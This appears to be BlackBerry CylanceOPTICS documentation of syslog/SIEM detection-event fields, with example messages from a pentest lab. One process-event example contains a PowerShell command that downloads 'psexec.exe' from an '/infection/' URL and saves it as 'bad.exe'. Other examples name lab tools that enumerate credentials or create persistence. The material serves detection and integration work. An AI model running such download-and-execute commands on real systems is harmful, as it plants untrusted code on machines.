These events occur when a detection event that includes a target process artifact is triggered. Note that some fields will include command line values that can include commas and colons. BlackBerry recommends that you review and test the parsing of these values by your SIEM or syslog server.

Field	Value	Description
Description	[varies]	This is the name of the detection rule that was triggered.
Detection Rule Id	[varies]	This is the unique detection rule ID.
Device Id	[varies]	This is the unique ID of the device.
Device Last Reported Users	[varies]	These are the last reported device users.
Device Name	[varies]	This is the name of the device that the detection event occurred on.
Event Id	[varies]	This is the unique ID of the detection event.
Event Name	OpticsCaeProcessEvent	This is the detection event involved a target process.
Event Received Timestamp	[varies]	This is the timestamp of when the event was received by CylanceOPTICS.
Event Timestamp	[varies]	This is the timestamp of the event that occurred on the device.
Event Type	OpticsCaeProcessEvent	This is the detection event involved in a target process.
Instigating Process Command Line	[varies]	This is the command line that was used to start the instigating process.
Instigating Process File Path	[varies]	This is the file path of the instigating process executable.

Field	Value	Description
Instigating Process ImageFileSha256	[varies]	This is the SHA256 hash of the process that instigated the action.
Instigating Process Name	[varies]	This is the process that instigated the action.
Instigating Process Owner	[varies]	This is the user that owns the process that instigated the action.
Severity	[varies]	This is the severity of the event: • High: A malicious event that requires immediate attention • Medium: A suspicious event that should be reviewed • Low: An important event that may not be malicious • Info: An observed event
Target Process Command Line	[varies]	This is the command line that was used to start the process of interest for the process event.
Target Process File Path	[varies]	This is the path of the target process executable.
Target Process ImageFileSha256	[varies]	This is the SHA256 hash of the process that was started or terminated.
Target Process Name	[varies]	This is the name of the process that was started or terminated.
Target Process Owner	[varies]	This is the user who owns the process that was started or terminated.
Zone Ids	[varies]	This is a list of zone IDs that the device belonged to at the time of the event.
Zone Names	[varies]	These are the zones that the device belongs to.

Example message for process-based detection events

```
Event Type: OpticsCaeProcessEvent, Event Name: OpticsCaeProcessEvent,
 Device Name: SECURITYSERVER2, Zone Names: (Jeff Test), Event Id: dbe47fda-
f37b-42cc-a308-9675feb7e36a, Severity: High, Description: Jeffs Take
 2 Powershell Download, Instigating Process Name: cmd.exe, Instigating
 Process Owner: PENTEST//Administrator, Instigating Process ImageFileSha256:
 935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,
 Event Timestamp: 2022-06-23T12:54:15.811Z, Event Received Timestamp:
 2022-06-23T12:54:41Z, Device Last Reported Users: (PENTEST\Administrator),
 Zone Ids: (39BFDA7FEF71490584AAB4F163142350), Detection Rule Id:
 3f110342-88f8-11ec-a8a3-0242ac120002, Instigating Process Command
 Line: "C:\Windows\system32\cmd.exe" , Instigating Process File Path: c:
```

```
\windows\system32\cmd.exe, Target Process Name: powershell.exe, Target
 Process Owner: PENTEST//Administrator, Target Process ImageFileSha256:
 BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436, Device
 Id: 3514593e-7405-4319-8ca5-8ec876bf0195, Target Process Command Line:
 powershell -command "(new-object SYstem.Net.WebClient).DownloadFile('https://
zaphod.cnerds.net/infection/psexec.exe', 'C:\dver\bad.exe')", Target Process File
 Path: c:\windows\system32\windowspowershell\v1.0\powershell.exe
```

CylanceOPTICS file-based detection events

These events occur when a detection event that includes a target-file artifact is triggered. Note that some fields will include command line values that can include commas and colons. BlackBerry recommends that you review and test the parsing of these values by your SIEM or syslog server.

Field	Value	Description
Description	[varies]	This is the name of the detection rule that was triggered.
Detection Rule Id	[varies]	This is the unique detection rule ID.
Device Id	[varies]	This is the unique ID of the device.
Device Last Reported Users	[varies]	These are the last reported device users.
Device Name	[varies]	This is the name of the device that the detection event occurred on.
Event Id	[varies]	This is the unique ID of the detection event.
Event Name	OpticsCaeFileEvent	This is the detection event involved in a target file.
Event Received Timestamp	[varies]	This is the timestamp of when the event was received by CylanceOPTICS.
Event Timestamp	[varies]	This is the timestamp of the event that occurred on the device.
Event Type	OpticsCaeFileEvent	This is the detection event involved a target file.
Instigating Process Command Line	[varies]	This is the command line that was used to start the process of interest for the process event.
Instigating Process File Path	[varies]	This is the path of the target process executable.
Instigating Process ImageFileSha256	[varies]	This is the SHA256 hash of the process that instigated the action.
Instigating Process Name	[varies]	This is the name of the process that instigated the action.

Field	Value	Description
Instigating Process Owner	[varies]	This is the user that owns the process that instigated the action.
Severity	[varies]	Severity of the event: • High: A malicious event that requires immediate attention • Medium: A suspicious event that should be reviewed • Low: An important event that may not be malicious • Info: An observed event
Target File Sha256	[varies]	This is the SHA256 hash of the file that was acted on (created, written, overwritten, or deleted). SHA256 hashes are not available for all file types
Target File Path	[varies]	This is the path of the file that was acted on (created, written, overwritten, or deleted).
Target File Owner	[varies]	This is the owner of the file that was acted on (created, written, overwritten, or deleted).
Zone Ids	[varies]	This is a list of zone IDs that the device belonged to at the time of the event.
Zone Names	[varies]	These are the zones that the device belongs to.

Example message for file-based detection events

```
Event Type: OpticsCaeFileEvent, Event Name: OpticsCaeFileEvent, Device
 Name: SECURITYSERVER3, Zone Names: (JeffTesting,JeffSecurityServer),
 Event Id: f4739af7-9c8b-4dc0-aeb7-2d4533445d49, Severity: Medium,
 Description: SYSLOG detections - Looking for a created file
 cylancetest.txt, Instigating Process Name: cmd.exe, Instigating Process
 Owner: PENTEST//Administrator, Instigating Process ImageFileSha256:
 BC866CFCDDA37E24DC2634DC282C7A0E6F55209DA17A8FA105B07414C0E7C527,
 Event Timestamp: 2022-06-28T18:09:32.693Z, Event Received Timestamp:
 2022-06-28T18:09:36Z, Device Last Reported Users: (PENTEST\Administrator),
 Zone Ids: (F568A8A8E401470282C1FE98FDD1703C,161EB91D79D6466A80182CF685FA7CAA),
 Detection Rule Id: 74bd0e7e-281a-4d7b-9f84-d0f51346782c, Instigating Process
 Command Line: "C:\Windows\system32\cmd.exe" , Instigating Process File Path:
 c:\windows\system32\cmd.exe, Target File Path: c:\users\administrator.pentest
\downloads\syslog_test_cae_rules\cylancetest.txt, Target File Owner: BUILTIN//
Administrators, Target File Sha256: , Device Id: c7b79f9f-4fbe-4f90-9658-
ec7e17af1954
```

CylanceOPTICS registry-based detection events

These events occur when a detection event that includes a registry process artifact is triggered. Note that some fields will include command line values that can include commas and colons. BlackBerry recommends that you review and test the parsing of these values by your SIEM or syslog server.

Field	Value	Description
Description	[varies]	This is the name of the detection rule that was triggered.
Detection Rule Id	[varies]	This is the unique detection rule ID.
Device Id	[varies]	This is the unique ID of the device.
Device Last Reported Users	[varies]	These are the last reported device users.
Device Name	[varies]	This is the name of the device that the detection event occurred on.
Event Id	[varies]	This is the unique ID of the detection event.
Event Name	OpticsCaeRegistryEvent	This is the detection event involved in a target registry item.
Event Received Timestamp	[varies]	This is the timestamp of when the event was received by CylanceOPTICS.
Event Timestamp	[varies]	This is the timestamp of the event that occurred on the device.
Event Type	OpticsCaeRegistryEvent	This is the detection event involved a target registry item.
Instigating Process Command Line	[varies]	This is the command line that was used to start the instigating process.
Instigating Process File Path	[varies]	This is the file path of the instigating process executable.
Instigating Process ImageFileSha256	[varies]	This is the SHA256 hash of the process that instigated the action.
Instigating Process Name	[varies]	This is the name of the process that instigated the action.
Instigating Process Owner	[varies]	This is the user that owns the process that instigated the action.

Field	Value	Description
Severity	[varies]	Severity of the event: • High: A malicious event that requires immediate attention • Medium: A suspicious event that should be reviewed • Low: An important event that may not be malicious • Info: An observed event
Target Registry KeyPath	[varies]	This is the path of the registry key that was acted on (created, written, overwritten, or deleted).
Target Registry ValueName	[varies]	This is the value name of the registry item that was acted on (created, written, overwritten, or deleted).
Zone Ids	[varies]	This is a list of zone IDs that the device belonged to at the time of the event.
Zone Names	[varies]	These are the zones that the device belongs to.

Example message for registry-based detection events

```
Event Type: OpticsCaeRegistryEvent, Event Name: OpticsCaeRegistryEvent, Device
 Name: SECURITYSERVER3, Zone Names: (JeffTesting,JeffSecurityServer), Event Id:
 6d33d636-dcdc-48c2-911a-ead99ac17f88, Severity: Medium, Description: SYSLOG
 detections - RegistryKey \software\classes\*\shellex\contextmenuhandlers
\cywareshlext, Instigating Process Name: ICreatePersistencePoints.exe, Instigating
 Process Owner: PENTEST//Administrator, Instigating Process ImageFileSha256:
 F83926AB855E860C9B1A6D72EB6024D9E1D569A59E4901A62E8543B1C978D5E5,
 Event Timestamp: 2022-06-28T18:08:49.103Z, Event Received Timestamp:
 2022-06-28T18:08:54Z, Device Last Reported Users: (PENTEST\Administrator),
 Zone Ids: (F568A8A8E401470282C1FE98FDD1703C,161EB91D79D6466A80182CF685FA7CAA),
 Detection Rule Id: 74354415-7d28-4f31-830d-72a14c0c3d8b, Instigating Process
 Command Line: ICreatePersistencePoints.exe --trigger 0, Instigating Process
 File Path: c:\users\administrator.pentest\downloads\syslog_test_cae_rules
\icreatepersistencepoints.exe, Target Registry KeyPath: HKLM\software\classes\*
\shellex\contextmenuhandlers\cywareshlext, Target Registry ValueName: , Device Id:
 c7b79f9f-4fbe-4f90-9658-ec7e17af1954
```

CylanceOPTICS network-based detection events

These events occur when a detection event that includes a network process artifact is triggered. Note that some fields will include command line values that can include commas and colons. BlackBerry recommends that you review and test the parsing of these values by your SIEM or syslog server.

Field	Value	Description
Description	[varies]	This is the name of the detection rule that was triggered.
Destination IP	[varies]	This is the destination IP address involved with a detection event. This is typically a resource external to your environment.
Destination Port	[varies]	This is the network port on the destination IP address involved with a detection event.
Detection Rule Id	[varies]	This is the unique detection rule ID.
Device Id	[varies]	This is the unique ID of the device.
Device Last Reported Users	[varies]	These are the last reported device users.
Device Name	[varies]	This is the name of the device that the detection event occurred on.
Event Id	[varies]	This is the unique ID of the detection event.
Event Name	OpticsCaeNetworkEvent	This is the detection event involved in a network connection.
Event Received Timestamp	[varies]	This is the timestamp of when the event was received by CylanceOPTICS.
Event Timestamp	[varies]	This is the timestamp of the event that occurred on the device.
Event Type	OpticsCaeNetworkEvent	This is the detection event involved a network connection.
Instigating Process Command Line	[varies]	This is the command line that was used to start the instigating process.
Instigating Process File Path	[varies]	This is the file path of the instigating process executable.
Instigating Process ImageFileSha256	[varies]	This is the SHA256 hash of the process that instigated the action.
Instigating Process Name	[varies]	This is the name of the process that instigated the action.
Instigating Process Owner	[varies]	This is the user who owns the process that instigated the action.

Field	Value	Description
Severity	[varies]	The severity of the event: • High: A malicious event that requires immediate attention • Medium: A suspicious event that should be reviewed • Low: An important event that may not be malicious • Info: An observed event
Source IP	[varies]	This is the IP address of the device for the event.
Source Port	[varies]	This is the port on the device that the network request originated from.
Zone Ids	[varies]	This is a list of zone IDs that the device belonged to at the time of the event.
Zone Names	[varies]	These are the zones that the device belongs to.

Example message for network-based detection events

```
Event Type: OpticsCaeNetworkEvent, Event Name: OpticsCaeNetworkEvent,
 Device Name: SECURITYSERVER3, Zone Names: (JeffTesting,JeffSecurityServer),
 Event Id: 23a04c4c-1a97-4a58-b4bc-fadadb729e32, Severity: Medium,
 Description: SYSLOG detections - Looking for NetworkConnection 8.8.8.8,
 Instigating Process Name: ICreateNetworkConnections.exe, Instigating
 Process Owner: PENTEST//Administrator, Instigating Process ImageFileSha256:
 F816E73FFAD0CA8684B6E44292276DD9B9CB8890ABAA732A7AEB283B46D32003,
 Event Timestamp: 2022-06-28T18:09:56.392Z, Event Received Timestamp:
 2022-06-28T18:10:00Z, Device Last Reported Users: (PENTEST\Administrator),
 Zone Ids: (F568A8A8E401470282C1FE98FDD1703C,161EB91D79D6466A80182CF685FA7CAA),
 Detection Rule Id: fdac76c9-5c6b-4b6f-8062-e074457afe3e, Instigating Process
 Command Line: ICreateNetworkConnections.exe --sequential 8.8.8.8, Instigating
 Process File Path: c:\users\administrator.pentest\downloads\syslog_test_cae_rules
\icreatenetworkconnections.exe, Destination IP: 8.8.8.81, Destination Port: 29281,
 Device Id: c7b79f9f-4fbe-4f90-9658-ec7e17af1954, Source IP: 192.168.254.102,
 Source Port: 52912
```

CylanceOPTICS memory-based detection events

These events occur when a detection event that includes a macOS memory event is triggered (for example, changing an area of memory marked as read/write to execute). Note that some fields will include command line values that can include commas and colons. BlackBerry recommends that you review and test the parsing of these values by your SIEM or syslog server.

Field	Value	Description
Description	[varies]	This is the name of the detection rule that was triggered.
Detection Rule Id	[varies]	This is the unique detection rule ID.
Device Id	[varies]	This is the unique ID of the device.
Device Last Reported Users	[varies]	These are the last reported device users.
Device Name	[varies]	This is the name of the device that the detection event occurred on.
Event Id	[varies]	This is the unique ID of the detection event.
Event Name	OpticsCaeMemoryEvent	This is the detection event involved in a memory event.
Event Received Timestamp	[varies]	This is the timestamp of when the event was received by CylanceOPTICS.
Event Timestamp	[varies]	This is the timestamp of the event that occurred on the device.
Event Type	OpticsCaeMemoryEvent	This is the detection event involved a memory event.
Instigating Process Command Line	[varies]	This is the command line that was used to start the instigating process.
Instigating Process File Path	[varies]	This is the file path of the instigating process executable.
Instigating Process ImageFileSha256	[varies]	This is the SHA256 hash of the process that instigated the action.
Instigating Process Name	[varies]	This is the name of the process that instigated the action.
Instigating Process Owner	[varies]	This is the user who owns the process that instigated the action.
Severity	[varies]	The severity of the event: • High: A malicious event that requires immediate attention • Medium: A suspicious event that should be reviewed • Low: An important event that may not be malicious • Info: An observed event

Field	Value	Description
Zone Ids	[varies]	This is a list of zone IDs that the device belonged to at the time of the event.
Zone Names	[varies]	These are the zones that the device belongs to.

Example message for memory-based detection events

```
Event Type: OpticsCaeMemoryEvent, Event Name: OpticsCaeMemoryEvent, Device
 Name: SECURITYSERVER3, Zone Name: (JeffTesting,Jeff_3.0), Event Id:
 c4e7d4e1-8739-4996-83a3-19d9ba583882, Severity: Medium, Description: Looking for
 a protect memory event, Instigating Process Name: AttackTest32.exe, Instigating
 Process Owner: PENTEST/Administrator, Instigating Process ImageFileSha256:
 2762CB5818C67BDD28DFE88FB528EF06B0C1AB5C175E2206B49C85BB8672C2EC,
 Event Timestamp: 2022-07-21T12:55:02.277Z, Event Received Timestamp:
 2022-07-21T12:55:25Z,
Device Last Reported Users: PENTEST\Administrator, Zone Ids:
 (F568A8A8E401470282C1FE98FDD1703C,161EB91D79D6466A80182CF685FA7CAA), Detection
 Rule Id: edf530c6-6b0e-4be2-aeb6-d3f8001fce05, Instigating Process Command
 Line: AttackTest32.exe -p:8000, Instigating Process File Path: c:\users
\administrator.pentest\downloads\attacktest\attacktest32.exe, Device Id:
 e378dacb-9324-453a-b8c6-5a8406952195
```

CylanceOPTICS DNS-based detection events

These events occur when a detection event that includes a DNS-based artifact is triggered. Note that some fields will include command line values that can include commas and colons. BlackBerry recommends that you review and test the parsing of these values by your SIEM or syslog server.

Field	Value	Description
Description	[varies]	This is the name of the detection rule that was triggered.
Detection Rule Id	[varies]	This is the unique detection rule ID.
Device Id	[varies]	This is the unique ID of the device.
Device Last Reported Users	[varies]	These are the last reported device users.
Device Name	[varies]	This is the name of the device that the detection event occurred on.
Event Id	[varies]	This is the unique ID of the detection event.
Event Name	OpticsCaeDNSEvent	This is the detection event involved in a DNS-based connection.

Field	Value	Description
Event Received Timestamp	[varies]	This is the timestamp of when the event was received by CylanceOPTICS.
Event Timestamp	[varies]	This is the timestamp of the event that occurred on the device.
Event Type	OpticsCaeDNSEvent	This is the detection event involved in a DNS-based connection.
Instigating Process Command Line	[varies]	This is the command line that was used to start the instigating process.
Instigating Process File Path	[varies]	This is the file path of the instigating process executable.
Instigating Process ImageFileSha256	[varies]	This is the SHA256 hash of the process that instigated the action.
Instigating Process Name	[varies]	This is the name of the process that instigated the action.
Instigating Process Owner	[varies]	This is the user that owns the process that instigated the action.
Resolved Address	[varies]	This is the resolved IP address of the domain.
Resolved Address Count	[varies]	This is the number of resolved IP addresses for the domain.
Severity	[varies]	The severity of the event: • High: A malicious event that requires immediate attention • Medium: A suspicious event that should be reviewed • Low: An important event that may not be malicious • Info: An observed event
Target Domain Name	[varies]	This is the target domain that was attempted to be resolved.
Zone Ids	[varies]	This is a list of zone IDs that the device belonged to at the time of the event.
Zone Names	[varies]	These are the zones that the device belongs to.

Example message for DNS-based detection events

```
Event Type: OpticsCaeDnsEvent, Event Name: OpticsCaeDnsEvent, Device
 Name: SECURITYSERVER, Zone Names: (JeffTesting,JeffSecurityServer),
 Event Id: 6458f3ac-e527-4922-83ac-654518c3137e, Severity:
 Medium, Description: Win_Suspicious_DNSLength_MitreT1071,
 Instigating Process Name: lsass.exe, Instigating Process Owner:
 NT AUTHORITY//SYSTEM, Instigating Process ImageFileSha256:
 91EAB6178A9BB2B268E7438E54B128F939C0BDF5BD8AC8B15EFCAF0572AADC3F,
 Event Timestamp: 2022-06-28T17:34:12.772Z, Event Received Timestamp:
 2022-06-28T17:34:33Z, Device Last Reported Users: (PENTEST\Administrator),
 Zone Ids: (F568A8A8E401470282C1FE98FDD1703C,161EB91D79D6466A80182CF685FA7CAA),
 Detection Rule Id: 0da4f7c3-af0d-46be-8f6b-1884a1c67331, Instigating
 Process Command Line: C:\Windows\system32\lsass.exe, Instigating
 Process File Path: c:\windows\system32\lsass.exe, Target Domain Name:
 7f2a98df-486e-4cec-8d6e-c227073955e6._msdcs.Pentest.Local., Resolved
 Address: securityserver.Pentest.Local, Resolved Address Count: 1, Device Id:
 41666e82-50e6-4777-88b6-5f2b567027b9
```

CylanceOPTICS log-based detection events

These events occur when a detection event that includes a log-based artifact is triggered. Note that some fields will include command line values that can include commas and colons. BlackBerry recommends that you review and test the parsing of these values by your SIEM or syslog server.

Field	Value	Description
Description	[varies]	This is the name of the detection rule that was triggered.
Detection Rule Id	[varies]	This is the unique detection rule ID.
Device Id	[varies]	This is the unique ID of the device.
Device Last Reported Users	[varies]	These are the last reported device users.
Device Name	[varies]	This is the name of the device that the detection event occurred on.
Event Id	[varies]	This is the unique ID of the detection event.
Event Name	OpticsCaeLogEvent	This is the detection event involved in a log-based connection.
Event Received Timestamp	[varies]	This is the timestamp of when the event was received by CylanceOPTICS.
Event Timestamp	[varies]	This is the timestamp of the event that occurred on the device.

Field	Value	Description
Event Type	OpticsCaeLogEvent	This is the detection event involved a log-based connection.
Instigating Process Command Line	[varies]	This is the command line that was used to start the instigating process.
Instigating Process File Path	[varies]	This is the file path of the instigating process executable.
Instigating Process ImageFileSha256	[varies]	This is the SHA256 hash of the process that instigated the action.
Instigating Process Name	[varies]	This is the name of the process that instigated the action.
Instigating Process Owner	[varies]	This is the user who owns the process that instigated the action.
Security Provider	[varies]	This is the name of the service that generated the Windows event log message.
Severity	[varies]	The severity of the event: • High: A malicious event that requires immediate attention • Medium: A suspicious event that should be reviewed • Low: An important event that may not be malicious • Info: An observed event
Windows Event ID	[varies]	This is the numerical Windows event ID associated with the Windows event.
Zone Ids	[varies]	This is a list of zone IDs that the device belonged to at the time of the event.
Zone Names	[varies]	These are the zones that the device belongs to.

Example message for log-based detection events

```
Event Type: OpticsCaeLogEvent, Event Name: OpticsCaeLogEvent, Device Name:
 SECURITYSERVER3, Zone Names: (JeffTesting,JeffSecurityServer), Event
 Id: ba8810a9-afac-4579-82a2-638f0f584d60, Severity: High, Description:
 Win_CreateAccount_MitreT1136, Instigating Process Name: lsass.exe, Instigating
 Process Owner: NT AUTHORITY//SYSTEM, Instigating Process ImageFileSha256:
 BBC83E4759D4B82BAD31E371AD679AA414C72273BF97CEE5AED8337ED8A4D79F,
 Event Timestamp: 2022-06-28T18:17:05.001Z, Event Received Timestamp:
```

```
2022-06-28T18:17:10Z, Device Last Reported Users: (PENTEST\Administrator),
Zone Ids: (F568A8A8E401470282C1FE98FDD1703C,161EB91D79D6466A80182CF685FA7CAA),
Detection Rule Id: 266e750f-a838-4974-9afc-20cb863031cc, Instigating Process
Command Line: C:\Windows\system32\lsass.exe, Instigating Process File Path:
c:\windows\system32\lsass.exe, Windows Event Id: 4720, Security Provider:
SecurityAuditProvider, Device Id: c7b79f9f-4fbe-4f90-9658-ec7e17af1954
```

CylanceOPTICS PowerShell trace detection events

These events occur when a detection event that includes a PowerShell trace artifact is triggered. Note that some fields will include command line values that can include commas and colons. BlackBerry recommends that you review and test the parsing of these values by your SIEM or syslog server.

Field	Value	Description
Description	[varies]	This is the name of the detection rule that was triggered.
Detection Rule Id	[varies]	This is the unique detection rule ID.
Device Id	[varies]	This is the unique ID of the device.
Device Last Reported Users	[varies]	These are the last reported device users.
Device Name	[varies]	This is the name of the device that the detection event occurred on.
Event Id	[varies]	This is the unique ID of the detection event.
Event Name	OpticsCaePowershellTraceEvent	This is the detection event involved in a PowerShell trace.
Event Received Timestamp	[varies]	This is the timestamp of when the event was received by CylanceOPTICS.
Event Timestamp	[varies]	This is the timestamp of the event that occurred on the device.
Event Type	OpticsCaePowershellTraceEvent	This is the detection event involved a PowerShell trace.
Instigating Process Command Line	[varies]	This is the command line that was used to start the instigating process.
Instigating Process File Path	[varies]	This is the file path of the instigating process executable.
Instigating Process ImageFileSha256	[varies]	This is the SHA256 hash of the process that instigated the action.

Field	Value	Description
Instigating Process Name	[varies]	This is the name of the process that instigated the action.
Instigating Process Owner	[varies]	This is the user that owns the process that instigated the action.
Payload	[varies]	This is the PowerShell modules and/or arguments that were passed into the PowerShell interpreter.
Payload Length	[varies]	This is the length of the observed PowerShell payload field.
Script Block Length	[varies]	This is the length of the observed PowerShell script block text field.
Script Block Text	[varies]	This is the content of a PowerShell script or module that was loaded or executed by the PowerShell interpreter.
Severity	[varies]	The severity of the event: • High: A malicious event that requires immediate attention • Medium: A suspicious event that should be reviewed • Low: An important event that may not be malicious • Info: An observed event
Zone Ids	[varies]	This is a list of zone IDs that the device belonged to at the time of the event.
Zone Names	[varies]	These are the zones that the device belongs to.

Example message for Powershell trace detection events

```
Event Type: OpticsCaePowershellTraceEvent, Event Name:
 OpticsCaePowershellTraceEvent, Device Name: SECURITYSERVER3, Zone Names:
 (JeffTesting,JeffSecurityServer), Event Id: 4b199c5c-60dc-4b5c-8dac-86965ba5b051,
 Severity: Medium, Description: SYSLOG detections - Looking for PowershellTrace
 get-childitem, Instigating Process Name: powershell.exe, Instigating
 Process Owner: PENTEST//Administrator, Instigating Process ImageFileSha256:
 DE96A6E69944335375DC1AC238336066889D9FFC7D73628EF4FE1B1B160AB32C,
 Event Timestamp: 2022-06-28T18:10:39.547Z, Event Received Timestamp:
 2022-06-28T18:10:43Z, Device Last Reported Users: (PENTEST\Administrator),
 Zone Ids: (F568A8A8E401470282C1FE98FDD1703C,161EB91D79D6466A80182CF685FA7CAA),
 Detection Rule Id: 9eb1073c-913f-49ab-9b12-2e5a28dad18d, Instigating Process
 Command Line: powershell gwmi -class win32_process, Instigating Process
 File Path: c:\windows\system32\windowspowershell\v1.0\powershell.exe, Script
```

```
Block Text: @{GUID="EEFCB906-B326-4E99-9F54-8B4BB6EF3C6D"Author="Microsoft
Corporation"CompanyName="Micros, Script Block Length: 2583, Payload: None,
Payload Length: 0, Device Id: c7b79f9f-4fbe-4f90-9658-ec7e17af1954
```

CylanceOPTICS WMI-based detection events

These events occur when a detection event that includes a Windows Management Instrumentation (WMI) process artifact is triggered. Note that some fields will include command line values that can include commas and colons. BlackBerry recommends that you review and test the parsing of these values by your SIEM or syslog server.

Field	Value	Description
Consumer Text	[varies]	This is the text associated with a WMI event. This is typically the command to be executed.
Consumer Text Length	[varies]	This is the length of the observed consumer text field.
Description	[varies]	This is the name of the detection rule that was triggered.
Detection Rule Id	[varies]	This is the unique detection rule ID.
Device Id	[varies]	This is the unique ID of the device.
Device Last Reported Users	[varies]	These are last reported device users.
Device Name	[varies]	This is the name of the device that the detection event occurred on.
Event Id	[varies]	This is the unique ID of the detection event.
Event Name	OpticsCaeWmiEvent	This is the detection event involved a WMI connection.
Event Received Timestamp	[varies]	This is the timestamp of when the event was received by CylanceOPTICS.
Event Timestamp	[varies]	This is the timestamp of the event that occurred on the device.
Event Type	OpticsCaeWmiEvent	This is the detection event involved in a WMI connection.
Instigating Process Command Line	[varies]	This is the command line that was used to start the instigating process.

Field	Value	Description
Instigating Process File Path	[varies]	This is the file path of the instigating process executable.
Instigating Process ImageFileSha256	[varies]	This is the SHA256 hash of the process that instigated the action.
Instigating Process Name	[varies]	This is the name of the process that instigated the action.
Instigating Process Owner	[varies]	This is the user that owns the process that instigated the action.
Operation	[varies]	This is the WMI operation that was executed. This is typically a binding creation, a filter creation, or a consumer creation.
Operation Length	[varies]	This is the length of the observed operation field.
Severity	[varies]	The severity of the event: • High: A malicious event that requires immediate attention • Medium: A suspicious event that should be reviewed • Low: An important event that may not be malicious • Info: An observed event
Zone Ids	[varies]	This is a list of zone IDs that the device belonged to at the time of the event.
Zone Names	[varies]	These are the zones that the device belongs to.

Example message for WMI-based detection events

```
Event Type: OpticsCaeWmiEvent, Event Name: OpticsCaeWmiEvent, Device Name:
 JEFWILLIAMS-1, Zone Names: (JeffTesting,Jeff_3.0), Event Id: 9fa208e5-779d-40b1-
b4e2-44c330600396, Severity: Medium, Description: SYSLOG detections - Looking
 for WmiTrace select, Instigating Process Name: WmiPrvSE.exe, Instigating Process
 Owner: NT AUTHORITY//NETWORK SERVICE, Instigating Process ImageFileSha256:
 B5C78BEF3883E3099F7EF844DA1446DB29107E5C0223B97F29E7FAFAB5527F15,
 Event Timestamp: 2022-06-28T18:09:55.613Z, Event Received Timestamp:
 2022-06-28T18:09:57Z, Device Last Reported Users: (RIMNET\jefwilliams), Zone Ids:
 (F568A8A8E401470282C1FE98FDD1703C,24362CB3F25D4EB59C03FD6E3800C20E), Detection
 Rule Id: f83b1ac8-b966-4297-be47-bb893bf23f2d, Instigating Process Command Line:
 C:\WINDOWS\system32\wbem\wmiprvse.exe-secured-Embedding, Instigating Process
 File Path: c:\windows\system32\wbem\wmiprvse.exe, Consumer Text: None, Consumer
 Text Length: 0, Operation: Start IWbemServices::CreateInstanceEnum - root
```

```
\Standardcimv2 : MSFT_NetIPAddress, Operation Length: 80, Device Id: c6246140-
bba5-4c55-be02-77300bf91dbc
```

CylanceOPTICS API sensor detection events

These events occur when the optional API sensor detects an alert for an identified set of Windows API calls. Note that some fields will include command line values that can include commas and colons. BlackBerry recommends that you review and test the parsing of these values by your SIEM or syslog server.

Field	Value	Description
API DLL	[varies]	The .dll associated with the detection event.
API Function	[varies]	The function associated with the detection event.
API Parameters	[varies]	The parameters of the function associated with the detection event.
Description	[varies]	This is the name of the detection rule that was triggered.
Detection Rule Id	[varies]	This is the unique detection rule ID.
Device Last Reported Users	[varies]	These are the last reported device users.
Device Name	[varies]	This is the name of the device that the detection event occurred on.
Event Id	[varies]	This is the unique ID of the detection event.
Event Name	OpticsCaeApiEvent	This is the defined name for an API sensor detection.
Event Received Timestamp	[varies]	This is the timestamp of when the event was received by CylanceOPTICS.
Event Timestamp	[varies]	This is the timestamp of the event that occurred on the device.
Instigating Process Command Line	[varies]	This is the command line that was used to start the instigating process.
Instigating Process File Path	[varies]	This is the file path of the instigating process executable.
Instigating Process ImageFileSha256	[varies]	This is the SHA256 hash of the process that instigated the action.
Instigating Process Name	[varies]	This is the name of the process that instigated the action.

Field	Value	Description
Instigating Process Owner	[varies]	This is the user that owns the process that instigated the action.
Severity	[varies]	Severity of the event: • High: A malicious event that requires immediate attention • Medium: A suspicious event that should be reviewed • Low: An important event that may not be malicious • Info: An observed event
Zone Ids	[varies]	This is a list of zone IDs that the device belonged to at the time of the event.
Zone Names	[varies]	These are the zones that the device belongs to.

Example message for API sensor detection events

```
Event Name: OpticsCaeApiEvent, Device Name: SECURITYSERVER3, Zone Names:
 (ZoneOne,ZoneTwo), Event Id: d29ee101-a2a2-42f1-b9ab-7e4b18aeeef1,
 Severity: High, Description: Test - API Sensor, High priority event,
 Instigating Process Name: IReadCredentials.exe, Instigating Process
 Owner: PENTEST//Administrator, Instigating Process ImageFileSha256:
 E24F5A2B51EC1C260388348AF764B8794CE0566749F5801D024B7B422C63DC56,
 Event Timestamp: 2022-09-28T14:23:37.384Z, Event Received Timestamp:
 2022-09-28T14:24:30Z, Device Last Reported Users: (PENTEST\Administrator),
 Zone Ids: (F568A8A8E401470282C1FE98FDD1703C,161EB91D79D6466A80182CF685FA7CAA),
 Detection Rule Id: be7403ca-a9f4-4aa7-ad6d-7c672bfa8fc9, Instigating Process
 Command Line: IReadCredentials.exe, Instigating Process File Path: c:\apisensor
\ireadcredentials.exe, API DLL: Advapi32.dll, API Function: CredEnumerateW, API
 Parameters: Unknown
```

CylancePROTECT Mobile event types

If CylancePROTECT Mobile is enabled for your organization, you can choose to send the alerts that are detected by the CylancePROTECT Mobile app on users' devices to your organization's SIEM solution or syslog server. This section provides details about the mobile alert events that are sent.

CylancePROTECT Mobile alerts

This option is visible only if CylancePROTECT Mobile is enabled. When this option is turned on, the mobile alerts that are detected by the CylancePROTECT Mobile app on users' devices are sent to your organization's syslog server.

Field	Value	Description
Alert Id	[varies]	This is the unique ID associated with the mobile alert.
Alert Name	maliciousApplication: [app name]	This is the name of the malicious app that the CylancePROTECT Mobile app detected.
	sideLoadedApplication for Android: [app name]	This is the name of the sideloaded app that the CylancePROTECT Mobile app detected.
	sideLoadedApplication for iOS: [signing ID]	This is the signing ID of the sideloaded app that the CylancePROTECT Mobile app detected.
	jailbrokenOrRooted for Android: Rooted	The CylancePROTECT Mobile app detected that the device is rooted.
	jailbrokenOrRooted for iOS: Jailbroken	The CylancePROTECT Mobile app detected that the device is jailbroken.
	deviceEncryption: Encryption disabled	The CylancePROTECT Mobile app detected that encryption is not enabled on the device.
	deviceScreenlock: Screenlock disabled	The CylancePROTECT Mobile app detected that a screen lock is not enabled on the device.
	iOsIntegrityFailure: iOS App Integrity Check	The CylancePROTECT Mobile app failed an integrity check.
	androidSafetyNetFailure: Android SafetyNet	The CylancePROTECT Mobile app failed a SafetyNet attestation check.

Field	Value	Description
	androidHWFailure: Android Hardware	The CylancePROTECT Mobile app failed hardware certificate attestation.
	unsupportedSecurityPatch: [patch version] OR Untrusted (attestation certificate verification failed) OR Unknown (attestation info is missing)	The version of the unsupported security patch that the CylancePROTECT Mobile app detected.
